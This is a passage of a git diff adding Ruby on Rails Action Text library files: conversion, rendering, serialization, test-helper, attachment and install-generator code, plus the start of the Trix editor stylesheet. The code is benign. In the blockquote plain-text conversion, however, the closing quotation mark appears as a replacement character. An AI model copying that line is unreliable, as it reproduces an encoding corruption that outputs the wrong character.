+++ b/actiontext/lib/action_text/gem_version.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  # Returns the currently loaded version of Action Text as a `Gem::Version`.
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 8
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/actiontext/lib/action_text/html_conversion.rb b/actiontext/lib/action_text/html_conversion.rb
new file mode 100644
index 0000000000000..e7712c0326b60
--- /dev/null
+++ b/actiontext/lib/action_text/html_conversion.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  module HtmlConversion
+    extend self
+
+    def node_to_html(node)
+      node.to_html(save_with: Nokogiri::XML::Node::SaveOptions::AS_HTML)
+    end
+
+    def fragment_for_html(html)
+      document.fragment(html)
+    end
+
+    def create_element(tag_name, attributes = {})
+      document.create_element(tag_name, attributes)
+    end
+
+    private
+      def document
+        ActionText.html_document_class.new.tap { |doc| doc.encoding = "UTF-8" }
+      end
+  end
+end
diff --git a/actiontext/lib/action_text/plain_text_conversion.rb b/actiontext/lib/action_text/plain_text_conversion.rb
new file mode 100644
index 0000000000000..dc69e1309ef38
--- /dev/null
+++ b/actiontext/lib/action_text/plain_text_conversion.rb
@@ -0,0 +1,154 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  module PlainTextConversion
+    extend self
+
+    def node_to_plain_text(node)
+      BottomUpReducer.new(node).reduce do |n, child_values|
+        plain_text_for_node(n, child_values)
+      end.then(&method(:remove_trailing_newlines))
+    end
+
+    private
+      def plain_text_for_node(node, child_values)
+        if respond_to?(plain_text_method_for_node(node), true)
+          send(plain_text_method_for_node(node), node, child_values)
+        else
+          plain_text_for_child_values(child_values)
+        end
+      end
+
+      def plain_text_method_for_node(node)
+        :"plain_text_for_#{node.name}_node"
+      end
+
+      def plain_text_for_child_values(child_values)
+        child_values.join
+      end
+
+      def plain_text_for_unsupported_node(node, _child_values)
+        ""
+      end
+
+      %i[ script style].each do |element|
+        alias_method :"plain_text_for_#{element}_node", :plain_text_for_unsupported_node
+      end
+
+      def plain_text_for_block(node, child_values)
+        "#{remove_trailing_newlines(plain_text_for_child_values(child_values))}\n\n"
+      end
+
+      %i[ h1 p ].each do |element|
+        alias_method :"plain_text_for_#{element}_node", :plain_text_for_block
+      end
+
+      def plain_text_for_list(node, child_values)
+        "#{break_if_nested_list(node, plain_text_for_block(node, child_values))}"
+      end
+
+      %i[ ul ol ].each do |element|
+        alias_method :"plain_text_for_#{element}_node", :plain_text_for_list
+      end
+
+      def plain_text_for_br_node(node, _child_values)
+        "\n"
+      end
+
+      def plain_text_for_text_node(node, _child_values)
+        remove_trailing_newlines(node.text)
+      end
+
+      def plain_text_for_div_node(node, child_values)
+        "#{remove_trailing_newlines(plain_text_for_child_values(child_values))}\n"
+      end
+
+      def plain_text_for_figcaption_node(node, child_values)
+        "[#{remove_trailing_newlines(plain_text_for_child_values(child_values))}]"
+      end
+
+      def plain_text_for_blockquote_node(node, child_values)
+        text = plain_text_for_block(node, child_values)
+        return "“�" if text.blank?
+
+        text = text.dup
+        text.insert(text.rindex(/\S/) + 1, "�")
+        text.insert(text.index(/\S/), "“")
+        text
+      end
+
+      def plain_text_for_li_node(node, child_values)
+        bullet = bullet_for_li_node(node)
+        text = remove_trailing_newlines(plain_text_for_child_values(child_values))
+        indentation = indentation_for_li_node(node)
+
+        "#{indentation}#{bullet} #{text}\n"
+      end
+
+      def remove_trailing_newlines(text)
+        text.chomp("")
+      end
+
+      def bullet_for_li_node(node)
+        if list_node_name_for_li_node(node) == "ol"
+          index = node.parent.elements.index(node)
+          "#{index + 1}."
+        else
+          "•"
+        end
+      end
+
+      def list_node_name_for_li_node(node)
+        node.ancestors.lazy.map(&:name).grep(/^[uo]l$/).first
+      end
+
+      def indentation_for_li_node(node)
+        depth = list_node_depth_for_node(node)
+        if depth > 1
+          "  " * (depth - 1)
+        end
+      end
+
+      def list_node_depth_for_node(node)
+        node.ancestors.map(&:name).grep(/^[uo]l$/).count
+      end
+
+      def break_if_nested_list(node, text)
+        if list_node_depth_for_node(node) > 0
+          "\n#{text}"
+        else
+          text
+        end
+      end
+
+      class BottomUpReducer # :nodoc:
+        def initialize(node)
+          @node = node
+          @values = {}
+        end
+
+        def reduce(&block)
+          traverse_bottom_up(@node) do |n|
+            child_values = @values.values_at(*n.children)
+            @values[n] = block.call(n, child_values)
+          end
+          @values[@node]
+        end
+
+        private
+          def traverse_bottom_up(node, &block)
+            call_stack, processing_stack = [ node ], []
+
+            until call_stack.empty?
+              node = call_stack.pop
+              processing_stack.push(node)
+              call_stack.concat node.children
+            end
+
+            processing_stack.reverse_each(&block)
+          end
+      end
+  end
+end
diff --git a/actiontext/lib/action_text/rendering.rb b/actiontext/lib/action_text/rendering.rb
new file mode 100644
index 0000000000000..0faf06f88a115
--- /dev/null
+++ b/actiontext/lib/action_text/rendering.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/core_ext/module/attribute_accessors_per_thread"
+
+module ActionText
+  module Rendering # :nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      thread_cattr_accessor :renderer, instance_accessor: false
+      delegate :render, to: :class
+    end
+
+    class_methods do
+      def action_controller_renderer
+        @action_controller_renderer ||= Class.new(ActionController::Base).renderer
+      end
+
+      def with_renderer(renderer)
+        previous_renderer = self.renderer
+        self.renderer = renderer
+        yield
+      ensure
+        self.renderer = previous_renderer
+      end
+
+      def render(*args, &block)
+        (renderer || action_controller_renderer).render_to_string(*args, &block)
+      end
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/serialization.rb b/actiontext/lib/action_text/serialization.rb
new file mode 100644
index 0000000000000..5d6aedd65af98
--- /dev/null
+++ b/actiontext/lib/action_text/serialization.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  module Serialization
+    extend ActiveSupport::Concern
+
+    class_methods do
+      def load(content)
+        new(content) if content
+      end
+
+      def dump(content)
+        case content
+        when nil
+          nil
+        when self
+          content.to_html
+        when ActionText::RichText
+          content.body.to_html
+        else
+          new(content).to_html
+        end
+      end
+    end
+
+    # Marshal compatibility
+
+    class_methods do
+      alias_method :_load, :load
+    end
+
+    def _dump(*)
+      self.class.dump(self)
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/system_test_helper.rb b/actiontext/lib/action_text/system_test_helper.rb
new file mode 100644
index 0000000000000..bbe99d9fe6590
--- /dev/null
+++ b/actiontext/lib/action_text/system_test_helper.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  module SystemTestHelper
+    # Locates a Trix editor and fills it in with the given HTML.
+    #
+    # The editor can be found by:
+    #
+    # *   its `id`
+    # *   its `placeholder`
+    # *   the text from its `label` element
+    # *   its `aria-label`
+    # *   the `name` of its input
+    #
+    # Additional options are forwarded to Capybara as filters
+    #
+    # Examples:
+    #
+    #     # <trix-editor id="message_content" ...></trix-editor>
+    #     fill_in_rich_textarea "message_content", with: "Hello <em>world!</em>"
+    #
+    #     # <trix-editor placeholder="Your message here" ...></trix-editor>
+    #     fill_in_rich_textarea "Your message here", with: "Hello <em>world!</em>"
+    #
+    #     # <label for="message_content">Message content</label>
+    #     # <trix-editor id="message_content" ...></trix-editor>
+    #     fill_in_rich_textarea "Message content", with: "Hello <em>world!</em>"
+    #
+    #     # <trix-editor aria-label="Message content" ...></trix-editor>
+    #     fill_in_rich_textarea "Message content", with: "Hello <em>world!</em>"
+    #
+    #     # <input id="trix_input_1" name="message[content]" type="hidden">
+    #     # <trix-editor input="trix_input_1"></trix-editor>
+    #     fill_in_rich_textarea "message[content]", with: "Hello <em>world!</em>"
+    def fill_in_rich_textarea(locator = nil, with:, **)
+      find(:rich_textarea, locator, **).execute_script(<<~JS, with.to_s)
+        if ("value" in this) {
+          this.value = arguments[0]
+        } else {
+          this.editor.loadHTML(arguments[0])
+        }
+      JS
+    end
+    alias_method :fill_in_rich_text_area, :fill_in_rich_textarea
+  end
+end
+
+%i[rich_textarea rich_text_area].each do |rich_textarea|
+  Capybara.add_selector rich_textarea do
+    label "rich-text area"
+    xpath do |locator|
+      xpath = XPath.descendant[[
+        XPath.attribute(:role) == "textbox",
+        (XPath.attribute(:contenteditable) == "") | (XPath.attribute(:contenteditable) == "true")
+      ].reduce(:&)]
+
+      if locator.nil?
+        xpath
+      else
+        input_located_by_name = XPath.anywhere(:input).where(XPath.attr(:name) == locator).attr(:id)
+        input_located_by_label = XPath.anywhere(:label).where(XPath.string.n.is(locator)).attr(:for)
+
+        xpath.where \
+          XPath.attr(:id).equals(locator) |
+          XPath.attr(:placeholder).equals(locator) |
+          XPath.attr(:"aria-label").equals(locator) |
+          XPath.attr(:input).equals(input_located_by_name) |
+          XPath.attr(:id).equals(input_located_by_label)
+      end
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/trix_attachment.rb b/actiontext/lib/action_text/trix_attachment.rb
new file mode 100644
index 0000000000000..53c8ec2f522fa
--- /dev/null
+++ b/actiontext/lib/action_text/trix_attachment.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  # DEPRECATED
+  class TrixAttachment
+    TAG_NAME = "figure"
+    SELECTOR = "[data-trix-attachment]"
+
+    COMPOSED_ATTRIBUTES = %w( caption presentation )
+    ATTRIBUTES = %w( sgid contentType url href filename filesize width height previewable content ) + COMPOSED_ATTRIBUTES
+    ATTRIBUTE_TYPES = {
+      "previewable" => ->(value) { value.to_s == "true" },
+      "filesize"    => ->(value) { Integer(value.to_s, exception: false) || value },
+      "width"       => ->(value) { Integer(value.to_s, exception: false) },
+      "height"      => ->(value) { Integer(value.to_s, exception: false) },
+      :default      => ->(value) { value.to_s }
+    }
+
+    class << self
+      def from_attributes(attributes)
+        attributes = process_attributes(attributes)
+
+        trix_attachment_attributes = attributes.except(*COMPOSED_ATTRIBUTES)
+        trix_attributes = attributes.slice(*COMPOSED_ATTRIBUTES)
+
+        node = ActionText::HtmlConversion.create_element(TAG_NAME)
+        node["data-trix-attachment"] = JSON.generate(trix_attachment_attributes)
+        node["data-trix-attributes"] = JSON.generate(trix_attributes) if trix_attributes.any?
+
+        new(node)
+      end
+
+      private
+        def process_attributes(attributes)
+          typecast_attribute_values(transform_attribute_keys(attributes))
+        end
+
+        def transform_attribute_keys(attributes)
+          attributes.transform_keys { |key| key.to_s.underscore.camelize(:lower) }
+        end
+
+        def typecast_attribute_values(attributes)
+          attributes.to_h do |key, value|
+            typecast = ATTRIBUTE_TYPES[key] || ATTRIBUTE_TYPES[:default]
+            [key, typecast.call(value)]
+          end
+        end
+    end
+
+    attr_reader :node
+
+    def initialize(node)
+      @node = node
+    end
+
+    def attributes
+      @attributes ||= attachment_attributes.merge(composed_attributes).slice(*ATTRIBUTES)
+    end
+
+    def to_html
+      ActionText::HtmlConversion.node_to_html(node)
+    end
+
+    def to_s
+      to_html
+    end
+
+    private
+      def attachment_attributes
+        read_json_object_attribute("data-trix-attachment")
+      end
+
+      def composed_attributes
+        read_json_object_attribute("data-trix-attributes")
+      end
+
+      def read_json_object_attribute(name)
+        read_json_attribute(name) || {}
+      end
+
+      def read_json_attribute(name)
+        if value = node[name]
+          begin
+            JSON.parse(value)
+          rescue => e
+            Rails.logger.error "[#{self.class.name}] Couldn't parse JSON #{value} from NODE #{node.inspect}"
+            Rails.logger.error "[#{self.class.name}] Failed with #{e.class}: #{e.backtrace}"
+            nil
+          end
+        end
+      end
+  end
+end
diff --git a/actiontext/lib/action_text/version.rb b/actiontext/lib/action_text/version.rb
new file mode 100644
index 0000000000000..66a6b42af0cf4
--- /dev/null
+++ b/actiontext/lib/action_text/version.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require_relative "gem_version"
+
+module ActionText
+  # Returns the currently loaded version of Action Text as a `Gem::Version`.
+  def self.version
+    gem_version
+  end
+end
diff --git a/actiontext/lib/generators/action_text/install/install_generator.rb b/actiontext/lib/generators/action_text/install/install_generator.rb
new file mode 100644
index 0000000000000..15348505eb4dc
--- /dev/null
+++ b/actiontext/lib/generators/action_text/install/install_generator.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "pathname"
+require "json"
+
+module ActionText
+  module Generators
+    class InstallGenerator < ::Rails::Generators::Base
+      source_root File.expand_path("templates", __dir__)
+
+      class_option :editor, type: :string, default: "trix"
+
+      def install_editor
+        editor = options[:editor]
+
+        say "Installing #{editor} JavaScript dependency", :green
+        if using_bun?
+          run "bun add #{editor}"
+        elsif using_node?
+          run "yarn add #{editor}"
+        end
+      end
+
+      def append_editor
+        destination = Pathname(destination_root)
+        editor = options[:editor]
+
+        if (application_javascript_path = destination.join("app/javascript/application.js")).exist?
+          insert_into_file application_javascript_path.to_s, %(\nimport "#{editor}"\n)
+        else
+          say <<~INSTRUCTIONS, :green
+            You must import the #{editor} JavaScript module in your application entrypoint.
+          INSTRUCTIONS
+        end
+
+        if (importmap_path = destination.join("config/importmap.rb")).exist?
+          append_to_file importmap_path.to_s, %(pin "#{editor}"\n)
+        end
+      end
+
+      def install_javascript_dependencies
+        say "Installing JavaScript dependencies", :green
+        if using_bun?
+          run "bun add @rails/actiontext"
+        elsif using_node?
+          run "yarn add @rails/actiontext"
+        end
+      end
+
+      def append_javascript_dependencies
+        destination = Pathname(destination_root)
+
+        if (application_javascript_path = destination.join("app/javascript/application.js")).exist?
+          insert_into_file application_javascript_path.to_s, %(\nimport "@rails/actiontext"\n)
+        else
+          say <<~INSTRUCTIONS, :green
+            You must import the @rails/actiontext JavaScript module in your application entrypoint.
+          INSTRUCTIONS
+        end
+
+        if (importmap_path = destination.join("config/importmap.rb")).exist?
+          append_to_file importmap_path.to_s, %(pin "@rails/actiontext", to: "actiontext.esm.js"\n)
+        end
+      end
+
+      def create_actiontext_files
+        template "actiontext.css", "app/assets/stylesheets/actiontext.css"
+
+        gem_root = "#{__dir__}/../../../.."
+
+        copy_file "#{gem_root}/app/views/active_storage/blobs/_blob.html.erb",
+          "app/views/active_storage/blobs/_blob.html.erb"
+
+        copy_file "#{gem_root}/app/views/layouts/action_text/contents/_content.html.erb",
+          "app/views/layouts/action_text/contents/_content.html.erb"
+      end
+
+      def create_migrations
+        rails_command "railties:install:migrations FROM=active_storage,action_text", inline: true
+      end
+
+      def using_js_runtime?
+        @using_js_runtime ||= Pathname(destination_root).join("package.json").exist?
+      end
+
+      def using_bun?
+        # Cannot assume yarn.lock has been generated yet so we look for a file known to
+        # be generated by the jsbundling-rails gem
+        @using_bun ||= using_js_runtime? && Pathname(destination_root).join("bun.config.js").exist?
+      end
+
+      def using_node?
+        # Bun is the only runtime that _isn't_ node.
+        @using_node ||= using_js_runtime? && !Pathname(destination_root).join("bun.config.js").exist?
+      end
+
+      hook_for :test_framework
+    end
+  end
+end
diff --git a/actiontext/lib/generators/action_text/install/templates/actiontext.css b/actiontext/lib/generators/action_text/install/templates/actiontext.css
new file mode 100644
index 0000000000000..9b6bcb0649dc5
--- /dev/null
+++ b/actiontext/lib/generators/action_text/install/templates/actiontext.css
@@ -0,0 +1,440 @@
+/*
+ * Default Trix editor styles. See Action Text overwrites below.
+*/
+
+trix-editor {
+  border: 1px solid #bbb;
+  border-radius: 3px;
+  margin: 0;
+  padding: 0.4em 0.6em;
+  min-height: 5em;
+  outline: none; }
+
+trix-toolbar * {
+  box-sizing: border-box; }
+
+trix-toolbar .trix-button-row {
+  display: flex;
+  flex-wrap: nowrap;
+  justify-content: space-between;
+  overflow-x: auto; }
+
+trix-toolbar .trix-button-group {
+  display: flex;
+  margin-bottom: 10px;
+  border: 1px solid #bbb;
+  border-top-color: #ccc;
+  border-bottom-color: #888;
+  border-radius: 3px; }
+  trix-toolbar .trix-button-group:not(:first-child) {
+    margin-left: 1.5vw; }
+    @media (max-width: 768px) {
+      trix-toolbar .trix-button-group:not(:first-child) {
+        margin-left: 0; } }
+
+trix-toolbar .trix-button-group-spacer {
+  flex-grow: 1; }
+  @media (max-width: 768px) {
+    trix-toolbar .trix-button-group-spacer {
+      display: none; } }
+
+trix-toolbar .trix-button {
+  position: relative;
+  float: left;
+  color: rgba(0, 0, 0, 0.6);
+  font-size: 0.75em;
+  font-weight: 600;
+  white-space: nowrap;
+  padding: 0 0.5em;
+  margin: 0;
+  outline: none;
+  border: none;
+  border-bottom: 1px solid #ddd;
+  border-radius: 0;
+  background: transparent; }
+  trix-toolbar .trix-button:not(:first-child) {
+    border-left: 1px solid #ccc; }
+  trix-toolbar .trix-button.trix-active {
+    background: #cbeefa;
+    color: black; }
+  trix-toolbar .trix-button:not(:disabled) {
+    cursor: pointer; }
+  trix-toolbar .trix-button:disabled {
+    color: rgba(0, 0, 0, 0.125); }
+  @media (max-width: 768px) {
+    trix-toolbar .trix-button {
+      letter-spacing: -0.01em;
+      padding: 0 0.3em; } }
+
+trix-toolbar .trix-button--icon {
+  font-size: inherit;
+  width: 2.6em;
+  height: 1.6em;
+  max-width: calc(0.8em + 4vw);
+  text-indent: -9999px; }
+  @media (max-width: 768px) {
+    trix-toolbar .trix-button--icon {
+      height: 2em;
+      max-width: calc(0.8em + 3.5vw); } }
+  trix-toolbar .trix-button--icon::before {
+    display: inline-block;
+    position: absolute;
+    top: 0;
+    right: 0;
+    bottom: 0;
+    left: 0;
+    opacity: 0.6;
+    content: "";
+    background-position: center;
+    background-repeat: no-repeat;
+    background-size: contain; }
+    @media (max-width: 768px) {
+      trix-toolbar .trix-button--icon::before {
+        right: 6%;
+        left: 6%; } }
+  trix-toolbar .trix-button--icon.trix-active::before {
+    opacity: 1; }
+  trix-toolbar .trix-button--icon:disabled::before {
+    opacity: 0.125; }
+
+trix-toolbar .trix-button--icon-attach::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M10.5%2018V7.5c0-2.25%203-2.25%203%200V18c0%204.125-6%204.125-6%200V7.5c0-6.375%209-6.375%209%200V18%22%20stroke%3D%22%23000%22%20stroke-width%3D%222%22%20stroke-miterlimit%3D%2210%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%2F%3E%3C%2Fsvg%3E");
+  top: 8%;
+  bottom: 4%; }
+
+trix-toolbar .trix-button--icon-bold::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M6.522%2019.242a.5.5%200%200%201-.5-.5V5.35a.5.5%200%200%201%20.5-.5h5.783c1.347%200%202.46.345%203.24.982.783.64%201.216%201.562%201.216%202.683%200%201.13-.587%202.129-1.476%202.71a.35.35%200%200%200%20.049.613c1.259.56%202.101%201.742%202.101%203.22%200%201.282-.483%202.334-1.363%203.063-.876.726-2.132%201.12-3.66%201.12h-5.89ZM9.27%207.347v3.362h1.97c.766%200%201.347-.17%201.733-.464.38-.291.587-.716.587-1.27%200-.53-.183-.928-.513-1.198-.334-.273-.838-.43-1.505-.43H9.27Zm0%205.606v3.791h2.389c.832%200%201.448-.177%201.853-.497.399-.315.614-.786.614-1.423%200-.62-.22-1.077-.63-1.385-.418-.313-1.053-.486-1.905-.486H9.27Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-button--icon-italic::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M9%205h6.5v2h-2.23l-2.31%2010H13v2H6v-2h2.461l2.306-10H9V5Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-button--icon-link::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M18.948%205.258a4.337%204.337%200%200%200-6.108%200L11.217%206.87a.993.993%200%200%200%200%201.41c.392.39%201.027.39%201.418%200l1.623-1.613a2.323%202.323%200%200%201%203.271%200%202.29%202.29%200%200%201%200%203.251l-2.393%202.38a3.021%203.021%200%200%201-4.255%200l-.05-.049a1.007%201.007%200%200%200-1.418%200%20.993.993%200%200%200%200%201.41l.05.049a5.036%205.036%200%200%200%207.091%200l2.394-2.38a4.275%204.275%200%200%200%200-6.072Zm-13.683%2013.6a4.337%204.337%200%200%200%206.108%200l1.262-1.255a.993.993%200%200%200%200-1.41%201.007%201.007%200%200%200-1.418%200L9.954%2017.45a2.323%202.323%200%200%201-3.27%200%202.29%202.29%200%200%201%200-3.251l2.344-2.331a2.579%202.579%200%200%201%203.631%200c.392.39%201.027.39%201.419%200a.993.993%200%200%200%200-1.41%204.593%204.593%200%200%200-6.468%200l-2.345%202.33a4.275%204.275%200%200%200%200%206.072Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-button--icon-strike::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M6%2014.986c.088%202.647%202.246%204.258%205.635%204.258%203.496%200%205.713-1.728%205.713-4.463%200-.275-.02-.536-.062-.781h-3.461c.398.293.573.654.573%201.123%200%201.035-1.074%201.787-2.646%201.787-1.563%200-2.773-.762-2.91-1.924H6ZM6.432%2010h3.763c-.632-.314-.914-.715-.914-1.273%200-1.045.977-1.739%202.432-1.739%201.475%200%202.52.723%202.617%201.914h2.764c-.05-2.548-2.11-4.238-5.39-4.238-3.145%200-5.392%201.719-5.392%204.316%200%20.363.04.703.12%201.02ZM4%2011a1%201%200%201%200%200%202h15a1%201%200%201%200%200-2H4Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-button--icon-quote::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M4.581%208.471c.44-.5%201.056-.834%201.758-.995C8.074%207.17%209.201%207.822%2010%208.752c1.354%201.578%201.33%203.555.394%205.277-.941%201.731-2.788%203.163-4.988%203.56a.622.622%200%200%201-.653-.317c-.113-.205-.121-.49.16-.764.294-.286.567-.566.791-.835.222-.266.413-.54.524-.815.113-.28.156-.597.026-.908-.128-.303-.39-.524-.72-.69a3.02%203.02%200%200%201-1.674-2.7c0-.905.283-1.59.72-2.088Zm9.419%200c.44-.5%201.055-.834%201.758-.995%201.734-.306%202.862.346%203.66%201.276%201.355%201.578%201.33%203.555.395%205.277-.941%201.731-2.789%203.163-4.988%203.56a.622.622%200%200%201-.653-.317c-.113-.205-.122-.49.16-.764.294-.286.567-.566.791-.835.222-.266.412-.54.523-.815.114-.28.157-.597.026-.908-.127-.303-.39-.524-.72-.69a3.02%203.02%200%200%201-1.672-2.701c0-.905.283-1.59.72-2.088Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-button--icon-heading-1::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M21.5%207.5v-3h-12v3H14v13h3v-13h4.5ZM9%2013.5h3.5v-3h-10v3H6v7h3v-7Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-button--icon-code::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M3.293%2011.293a1%201%200%200%200%200%201.414l4%204a1%201%200%201%200%201.414-1.414L5.414%2012l3.293-3.293a1%201%200%200%200-1.414-1.414l-4%204Zm13.414%205.414%204-4a1%201%200%200%200%200-1.414l-4-4a1%201%200%201%200-1.414%201.414L18.586%2012l-3.293%203.293a1%201%200%200%200%201.414%201.414Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-button--icon-bullet-list::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M5%207.5a1.5%201.5%200%201%200%200-3%201.5%201.5%200%200%200%200%203ZM8%206a1%201%200%200%201%201-1h11a1%201%200%201%201%200%202H9a1%201%200%200%201-1-1Zm1%205a1%201%200%201%200%200%202h11a1%201%200%201%200%200-2H9Zm0%206a1%201%200%201%200%200%202h11a1%201%200%201%200%200-2H9Zm-2.5-5a1.5%201.5%200%201%201-3%200%201.5%201.5%200%200%201%203%200ZM5%2019.5a1.5%201.5%200%201%200%200-3%201.5%201.5%200%200%200%200%203Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-button--icon-number-list::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M3%204h2v4H4V5H3V4Zm5%202a1%201%200%200%201%201-1h11a1%201%200%201%201%200%202H9a1%201%200%200%201-1-1Zm1%205a1%201%200%201%200%200%202h11a1%201%200%201%200%200-2H9Zm0%206a1%201%200%201%200%200%202h11a1%201%200%201%200%200-2H9Zm-3.5-7H6v1l-1.5%202H6v1H3v-1l1.667-2H3v-1h2.5ZM3%2017v-1h3v4H3v-1h2v-.5H4v-1h1V17H3Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-button--icon-undo::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M3%2014a1%201%200%200%200%201%201h6a1%201%200%201%200%200-2H6.257c2.247-2.764%205.151-3.668%207.579-3.264%202.589.432%204.739%202.356%205.174%205.405a1%201%200%200%200%201.98-.283c-.564-3.95-3.415-6.526-6.825-7.095C11.084%207.25%207.63%208.377%205%2011.39V8a1%201%200%200%200-2%200v6Zm2-1Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-button--icon-redo::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M21%2014a1%201%200%200%201-1%201h-6a1%201%200%201%201%200-2h3.743c-2.247-2.764-5.151-3.668-7.579-3.264-2.589.432-4.739%202.356-5.174%205.405a1%201%200%200%201-1.98-.283c.564-3.95%203.415-6.526%206.826-7.095%203.08-.513%206.534.614%209.164%203.626V8a1%201%200%201%201%202%200v6Zm-2-1Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-button--icon-decrease-nesting-level::before {
